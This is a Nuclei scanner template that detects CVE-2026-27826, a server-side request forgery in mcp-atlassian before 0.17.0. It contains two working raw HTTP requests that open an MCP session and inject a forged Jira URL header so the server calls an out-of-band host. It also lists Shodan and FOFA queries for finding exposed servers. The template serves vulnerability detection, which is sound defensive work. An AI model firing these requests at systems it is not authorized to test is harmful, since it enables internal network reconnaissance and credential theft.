mcp-atlassian < 0.17.0 - Server-Side Request Forgery

id: CVE-2026-27826

info:
  name: mcp-atlassian < 0.17.0 - Server-Side Request Forgery
  author: eyangfeng88-arch
  severity: high
  description: |
   MCP Atlassian < 0.17.0 contains a server-side request forgery caused by improper validation of custom HTTP headers in the HTTP middleware, letting unauthenticated attackers force outbound requests to arbitrary URLs, exploit requires access to the mcp-atlassian HTTP endpoint.
  impact: |
   Unauthenticated attackers can make the server send requests to arbitrary URLs, enabling internal network reconnaissance and potential credential theft.
  remediation: |
   Upgrade to version 0.17.0 or later.
  reference:
    - https://pluto.security/blog/mcpwnfluence-cve-2026-27825-critical/
    - https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-7r34-79r5-rcc9
    - https://github.com/sooperset/mcp-atlassian/pull/986
    - https://nvd.nist.gov/vuln/detail/CVE-2026-27826
  classification:
    cvss-metrics: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N
    cvss-score: 8.2
    cve-id: CVE-2026-27826
    epss-score: 0.13589
    epss-percentile: 0.96007
    cwe-id: CWE-918
  metadata:
    verified: true
    max-request: 2
    vendor: sooperset
    product: mcp-atlassian
    shodan-query: http.html:"Atlassian MCP"
    fofa-query: body="Atlassian MCP" || header="mcp-session-id"
  tags: cve,cve2026,mcp,atlassian,ssrf,oast

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /mcp HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        Accept: application/json, text/event-stream

        {"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2024-11-05","capabilities":{},"clientInfo":{"name":"nuclei","version":"1.0"}}}

    extractors:
      - type: regex
        name: session_id
        part: header
        internal: true
        group: 1
        regex:
          - '(?i)Mcp-Session-Id:\s*([a-f0-9]+)'

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'len(session_id) > 0'
        condition: and
        internal: true

  - raw:
      - |
        POST /mcp HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        Accept: application/json, text/event-stream
        Mcp-Session-Id: {{session_id}}
        X-Atlassian-Jira-Url: http://{{interactsh-url}}
        X-Atlassian-Jira-Personal-Token: nuclei-ssrf-test

        {"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"jira_get_issue","arguments":{"issue_key":"TEST-1"}}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(interactsh_protocol, "http")'
          - 'status_code == 200'
        condition: and
# digest: 4a0a0047304502207130cad296d2fdf04c9ffc143da7935f983691c2030509099138f2991c36ba75022100bf24765ca1801a7d8137a79cf4d283bc89a3bd726204daf91d97f5c51e68ce0a:922c64590222798bb761d5b6d8e72950